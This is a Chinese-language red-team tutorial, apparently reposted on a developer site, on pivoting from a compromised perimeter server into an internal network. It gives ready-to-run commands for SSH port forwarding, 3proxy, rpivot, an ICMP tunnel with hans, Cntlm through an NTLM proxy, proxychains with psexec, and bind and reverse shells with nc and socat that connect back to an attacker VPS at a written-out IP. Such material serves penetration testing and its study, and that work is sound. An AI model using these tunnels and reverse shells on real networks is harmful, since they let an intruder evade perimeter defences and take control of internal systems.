穿越边界的姿势

栏目: 服务器 · 发布时间: 8年前

内容简介:穿越边界的姿势

在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。

典型的边界网络架构图

穿越边界的姿势

利用ssh建立隧道

动态端口转发

原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问。

本地执行命令:

ssh -D 1080 root@106.22.50.48

效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,

可以在server B上执行:

ssh -D 1080 root@10.3.1.6

这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,

可以在本地执行:

ssh -D 1080 root@222.222.222.223

这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。

本地端口转发

原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

在serverB上执行:

ssh -L 7001:localhost:7070 root@106.22.50.48

作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口

利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。

远程端口转发

原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

在serverB上执行:

localhost: ssh -R 1433:localhost:7070  root@10.3.1.6

作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。

使用3proxy建立隧道

简介

工具地址: https://github.com/z3APA3A/3proxy/releases

3proxy是一个由俄罗斯人开发的多平台代理软件,支持http/https/ftp/socks4/socks5/socks4a/socks5a等多种代理方式。

利用方式:

windows:3proxy.exe config_file

linux:./3proxy config_file

这个 工具 的使用主要是修改配置文件。

建立socks代理

配置如下:

#!/usr/local/bin/3proxy

socks -p1080

作用:新建一个socks代理,监听1080端口

实现端口转发

配置如下:

#!/usr/local/bin/3proxy

tcppm 1080 106.22.50.48 7070

作用:将本地的1080端口转发到vps的7070端口

其他功能大家可以自行学习。

使用plink实现端口转发

plink的使用跟ssh类似,只是plink是在windows下运行的。

使用Rpivot做反向代理

工具地址:https://github.com/artkond/rpivot

利用方式:

vps:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

作用:在vps上新建一个socks4代理在1080端口,监听9999端口

serverB:

python client.py --server-ip 106.22.50.48 --server-port 9999

作用:连接vps的9999端口,我们可以通过vps的1080端口访问目标内网。

建立ICMP隧道

工具地址:http://code.gerade.org/hans/

在serverB上下载编译

用root执行:

1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

2 ./hans -s 222.222.222.223 -p password

在本地执行:

./hans -f -c 222.222.222.223  -p password -v

会返回一个shell

穿透代理服务器

条件:serverB需要通过serverA这个代理服务器上外网,且代理服务器的认证是需要域认证

Rpivot

可以使用下面的命令实现穿透:

穿越边界的姿势

如果获取到的用户密码是个Hash,解不出来的情况下:

穿越边界的姿势

Cntlm

工具地址:http://cntlm.sourceforge.net/

原理:通过内网ntlm认证代理将远程务器的端口转发到本地。

使用方式,在serverB上执行:

windows: cntlm.exe -c config.conf

linux:./cntlm -c config.conf

配置文件样例:

穿越边界的姿势

作用:内网服务器访问serverB的2222端口,也就是访问到vps的443端口。

通过socks代理访问内网

proxychains

假设代理服务器地址是:222.222.222.223:1080

修改配置文件,将代理地址设置为代理服务器的地址如下:

vim /etc/proxychains.conf

socks5  222.222.222.223 1080

使用方法:

proxychains psexec.py administrator@10.2.2.2 ipconfig

proxifier

图形化工具,大家自行测试

获取一个 shell 窗口

Python PTY shell

使用nc在vps上用监听4444端口:

nc -vv -l -p 4444

在serverB上执行:

穿越边界的姿势

socat

正向shell

vps上执行监听1337端口:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

在serverB上执行:

socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337

反向shell

vps上执行监听1337:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

在serverB上执行:

socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

总结

大千世界无奇不有,企业架构各有不同。不同的网络环境需要不同的技术支撑,只有了解足够多的技术才能应对不同的情况,具体情况具体对待,相信作为安全测试工程师对于这些技术都不陌生,这里只是做个简单介绍,内容来源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的请点击原文链接。

穿越边界的姿势


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Rationality for Mortals

Rationality for Mortals

Gerd Gigerenzer / Oxford University Press, USA / 2008-05-02 / USD 65.00

Gerd Gigerenzer's influential work examines the rationality of individuals not from the perspective of logic or probability, but from the point of view of adaptation to the real world of human behavio......一起来看看 《Rationality for Mortals》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具